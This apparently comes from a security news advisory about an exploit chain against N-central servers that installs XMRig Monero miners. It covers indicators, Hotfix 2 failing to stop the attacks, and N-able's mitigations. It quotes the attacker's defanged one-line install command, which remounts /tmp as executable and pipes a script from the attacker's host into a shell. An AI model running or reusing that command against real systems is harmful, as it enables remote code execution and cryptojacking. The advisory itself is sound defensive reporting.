4EverAble2Shell chain plants Monero miners on 21 N-central servers

XMRig Monero miners are running on 21 N-central servers, dropped through an unauthenticated exploit chain that independent researcher Sean Bales disclosed as 4EverAble2Shell. Huntback traced all 21 compromises to a single attacker host at 157.20.241[.]16, which serves a shell script named jup.sh that installs the miner.

From a SOAP fault to root

The chain stitches together two weaknesses. The entry point is CVE-2026-90436 (CVSS 9.8), a flaw in the Apache Axis component bundled with N-central. Previdian, tracking it as VULN-2026-0009, describes the mechanism: during SOAP fault processing, Axis performs unsafe class instantiation, and a crafted request steers an attacker-selected JLine class into processing malicious input. That yields command execution as the nable service account. A separate N-central privilege escalation bug takes the operator from that service account to root.

The install command is terse:

mount -o remount,exec /tmp 2>/dev/null; curl -fsSL hxxp://157.20.241[.]16:8080/jup.sh | sh -s nc_[target-IP-redacted]

The remount re-enables execution on /tmp in case it was mounted noexec, then pulls and pipes jup.sh straight to a shell. Previdian observed the same host sending diagnostic information and command output back to the server. The XMRig payload is configured to use only half the available CPU cores, keeping load low enough to avoid the obvious tell of a pegged machine. Victims sit across the U.S., South Africa, Canada, the U.K., Germany, France, and Sweden.

Hotfix 2 did not save them

Nineteen of the 21 victims were already running Hotfix 2. Huntback is blunt that applying Hotfix 2 is not enough on its own. 4EverAble2Shell, and a companion set Bales calls Agent2Shell, work against the latest version of N-central and can execute code as root on the server and reach SYSTEM on managed Windows hosts under specific conditions.

That changes the cleanup math. An N-central server manages your customers’ endpoints, so root on it is root on the management plane for every device under it. Huntback’s guidance is to treat a hit as full compromise rather than a miner cleanup. The miner is the only payload observed so far, but the access it rode in on is what matters.

N-able’s precautions

N-able has pulled levers rather than wait on a complete fix. On Hosted environments it has turned the Legacy API off by default and disabled the Intune integration while it builds and validates additional protections. It acknowledges the restrictions may break some functionality and frames them as precaution during remediation.

For both Hosted and on-prem, the standing guidance is to upgrade Agents and Probes on N-central 2026.4 HF1 or above. That release reworks legacy Agent and Probe components and changes how the two communicate, so N-able is explicit that upgrading both is a must to keep all managed devices communicating and patched. On-prem operators should also confirm Legacy API access is disabled if it was ever turned on.

If you run N-central, the checklist is short: on 2026.4 HF1 or above, upgrade both Agents and Probes, disable the Legacy API, and, because patch level did not save 19 of these shops, hunt the indicators directly. Outbound connections to 157.20.241[.]16, an executable /tmp, and an XMRig process using half the available CPU cores are the cheap ones to check first.